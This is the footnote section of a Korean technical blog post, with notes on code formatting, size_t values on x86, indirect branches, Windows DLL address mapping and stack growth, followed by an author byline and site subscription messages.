  16. 코드가 hashmm 사이트의 좁은 코드 블럭에 맞도록 원본 코드를 2스페이스 들여쓰기로 바꾸고 긴 줄들은 쪼갰으며, 코드의 내용은 글에서 설명할 것이기 때문에 주석들을 제거했다. ↩︎

  17. 이렇게 자신 또는 타인이 작성한 코드를 읽을 때에는 알고리즘에서 중요한 변수를 따라가면서 읽는 습관이 좋다. 물론 이것은 개인적인 경험에 의한 것이므로 굳이 이러한 방법을 강제할 필요는 없다. ↩︎

  18. '굳이 말하자면' 이라고 한 이유는 CPU가 이 코드에서 바빠진다기보다는 이 코드가 실행된 이후에 배열에 접근할 때 바빠지기 때문이다. ↩︎

  19. 여기서 나온 값은 size_t에 32비트가 정수가 저장되는 x86 프로세서를 가정한다. size_t가 64비트인 x86-64 프로세서에서도 앞에 f가 8개 더 붙을 것이다. 여기서부터 숫자를 짧게 쓰기 위해 x86 프로세서를 가정할 것이다. ↩︎

  20. 물론 특정 코드 패턴은 컴파일러가 기계어 코드를 생성할 때 내부적으로 간접 분기를 사용할 수도 있다. ↩︎

  21. 여기서 설명하는 ntdll.dll과 같은 DLL 파일들의 경우, 윈도우의 경우에는 거의 모든 프로세스들이 이 DLL 파일을 필요로 한다. 메모리 사용량과 DLL 파일을 로드하는 데 걸리는 시간을 줄이기 위해 윈도우에서는 이 파일을 필요로 하는 첫 번째 프로세스가 실행될 때 DLL 파일을 로드하고, 그 다음에 실행되는 프로세스들이 이 파일을 필요로 하면 이미 DLL이 로드된 주소를 매핑(대응)시키는 기술을 사용한다. 이 때문에 DLL 파일의 경우에는 재부팅 때마다 실제로 코드가 로드된 주소가 바뀐다. ↩︎

  22. 사실 컴퓨터 과학에서 나무(tree)도 거꾸로 자라듯이, 스택도 거꾸로 쌓인다. ↩︎

  23. 이 말을 쓰는 시점에서 ghost 단어 수 카운터 기준으로 8200단어를 넘겼다. ↩︎

손량

하나고등학교 10기

Great! You've successfully subscribed.
Great! Next, complete checkout for full access.
Welcome back! You've successfully signed in.
Success! Your account is fully activated, you now have access to all content.